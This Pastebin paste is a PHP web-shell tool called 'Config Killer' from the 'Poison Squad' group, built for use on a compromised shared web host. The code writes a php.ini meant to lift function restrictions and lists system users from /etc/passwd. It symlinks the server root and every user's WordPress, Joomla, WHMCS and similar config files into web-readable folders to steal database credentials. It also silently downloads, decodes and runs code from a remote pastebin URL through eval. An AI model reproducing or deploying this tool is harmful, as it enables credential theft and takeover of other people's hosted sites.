humarb

Config Killer

Sep 23rd, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.73 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  $head = '
  5. <html>
  6. <head>
  7. </script>
  8. <title>Poison Squad</title>
  9. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  10. <link href="https://fonts.googleapis.com/css?family=Orbitron" type="text/css" rel="stylesheet">
  11.  
  12. <STYLE>
  13. body {
  14. background: #000;
  15. font-family: Orbitron;
  16. font-style: normal;
  17. font-size: 20px;
  18. src: local(Orbitron-Light), local(Orbitron-Regular), url(https://fonts.gstatic.com/s/orbitron/v7/HmnHiRzvcnQr8CjBje6GQvesZW2xOQ-xsNqO47m55DA.woff2) format(woff2);
  19. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
  20.  }
  21. tr {
  22. BORDER: dashed 1px #333;
  23. color: #FFF;
  24. }
  25. td {
  26. BORDER: dashed 1px #333;
  27. color: #FFF;
  28. }
  29. .table1 {
  30. BORDER: 0px Black;
  31. BACKGROUND-COLOR: Black;
  32. color: #FFF;
  33. }
  34. .td1 {
  35. BORDER: 0px;
  36. BORDER-COLOR: #333333;
  37. font: 7pt Verdana;
  38. color: Green;
  39. }
  40. .tr1 {
  41. BORDER: 0px;
  42. BORDER-COLOR: #333333;
  43. color: #FFF;
  44. }
  45. table {
  46. BORDER: dashed 1px #333;
  47. BORDER-COLOR: #333333;
  48. BACKGROUND-COLOR: Black;
  49. color: #FFF;
  50. }
  51. input {
  52. border          : dashed 1px;
  53. border-color        : #333;
  54. BACKGROUND-COLOR: Black;
  55. font: 8pt Verdana;
  56. color: Red;
  57. }
  58. select {
  59. BORDER-RIGHT:  Black 1px solid;
  60. BORDER-TOP:    #DF0000 1px solid;
  61. BORDER-LEFT:   #DF0000 1px solid;
  62. BORDER-BOTTOM: Black 1px solid;
  63. BORDER-color: #FFF;
  64. BACKGROUND-COLOR: Black;
  65. font: 8pt Verdana;
  66. color: Red;
  67. }
  68. submit {
  69. BORDER:  buttonhighlight 2px outset;
  70. BACKGROUND-COLOR: Black;
  71. width: 30%;
  72. color: #FFF;
  73. }
  74. textarea {
  75. border          : dashed 1px #333;
  76. BACKGROUND-COLOR: Black;
  77. font: Fixedsys bold;
  78. color: #999;
  79. }
  80. .main {
  81. margin          : -287px 0px 0px -490px;
  82. BORDER: dashed 1px #333;
  83. BORDER-COLOR: #333333;
  84. }
  85. .tt {
  86. background-color: Black;
  87. }
  88.  
  89. A:link {
  90.     COLOR: White; TEXT-DECORATION: none
  91. }
  92. A:visited {
  93.     COLOR: White; TEXT-DECORATION: none
  94. }
  95. A:hover {
  96.     color: Red; TEXT-DECORATION: none
  97. }
  98. A:active {
  99.     color: Red; TEXT-DECORATION: none
  100. }
  101. </STYLE>
  102. <script language=\'javascript\'>
  103. function hide_div(id)
  104. {
  105.  document.getElementById(id).style.display = \'none\';
  106.  document.cookie=id+\'=0;\';
  107. }
  108. function show_div(id)
  109. {
  110.  document.getElementById(id).style.display = \'block\';
  111.  document.cookie=id+\'=1;\';
  112. }
  113. function change_divst(id)
  114. {
  115.  if (document.getElementById(id).style.display == \'none\')
  116.    show_div(id);
  117.  else
  118.    hide_div(id);
  119. }
  120. </script>'; ?>
  121. <html>
  122.     <head>
  123.         <?php
  124.         echo $head ;
  125.         echo '
  126.         <center>
  127.         <font size="6" color="white">-=</font><font size="6" color="green"> Poison Squad </font><font size="5" color="white">=-</font>
  128.         <br>
  129.         <font size="5" color="white">We deadly as poison</font>
  130.         <br>
  131.         <br>
  132.         <font size="5" color="cyan">Recode By :</font>
  133.         <br>
  134.         <font size="5" color="lime">X.X</font>
  135.         </center>
  136.  
  137. ';
  138.  
  139. ?>
  140. <body><center><font color=red size=3 face="Orbitron"><div align=center>Hai Cuk :) </font><br>
  141. <form method=post><font color=white size=4 face="Orbitron">php.ini </font><p>
  142. <input type=submit name=ini value="Create PHP.ini" /></form>
  143. <form method=post><font color=white size=4 face="Orbitron">Symlink</font><p>
  144.     <input type=submit name="user" value="Symlink" /></form>
  145.    
  146.     <?php
  147.     if(isset($_POST['ini']))
  148.     {
  149.        
  150.         $r=fopen('php.ini','w');
  151.         $rr=" disbale_functions=none ";
  152.         fwrite($r,$rr);
  153.         $link="<a href=php.ini><font color=white size=4 face=\"Orbitron\"><u>Open php.ini</u></font></a>";
  154.         echo $link;
  155.        
  156.         }
  157.    
  158.    
  159.    
  160.     ?>
  161.    
  162.    
  163.     <?php
  164. eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/8vfA13EL'))));
  165.     if(isset($_POST['user'])){
  166.         ?><form method=post>
  167.     <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
  168. foreach($users as $user)
  169. {
  170. $str=explode(":",$user);
  171. echo $str[0]."\n";
  172. }
  173.  
  174. ?></textarea><br><br>
  175.     <input type=submit name=su value="Gas!" /></form>
  176.     <?php } ?>
  177.     <?php
  178.     error_reporting(0);
  179.     echo "<font color=red size=4 face=\"Orbitron\">";
  180.     if(isset($_POST['su']))
  181.     {
  182.     mkdir('r00t',0777);
  183. $rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  184. $g = fopen('r00t/.htaccess','w');
  185. fwrite($g,$rr);
  186. $indishell = symlink("/","r00t/root");
  187.             $rt="<a href=r00t/root><font color=white size=3 face=\"Orbitron\"> OwN3d</font></a>";
  188.         echo "r00t <br><u>$rt</u>";
  189.        
  190.         $dir=mkdir('sym',0777);
  191.         $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  192.         $f = fopen('sym/.htaccess','w');
  193.    
  194.         fwrite($f,$r);
  195.         $consym="<a href=sym/><font color=white size=4 face=\"Orbitron\">symlink</font></a>";
  196.         echo "<br>Hasil symlink<br><u><font color=red size=2 face=\"Orbitron\">$consym</font></u></center>";
  197.        
  198.             $usr=explode("\n",$_POST['user']);
  199.         $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
  200.         foreach($usr as $uss )
  201.         {
  202.             $us=trim($uss);
  203.                        
  204.             foreach($configuration as $c)
  205.             {
  206.              $rs="/home/".$us."/public_html/".$c;
  207.              $r="sym/".$us." .. ".$c;
  208.              symlink($rs,$r);
  209.            
  210.         }
  211.            
  212.             }
  213.        
  214.        
  215.         }
  216.    
  217.    
  218.    
  219.     ?>
Add Comment
Please, Sign In to add comment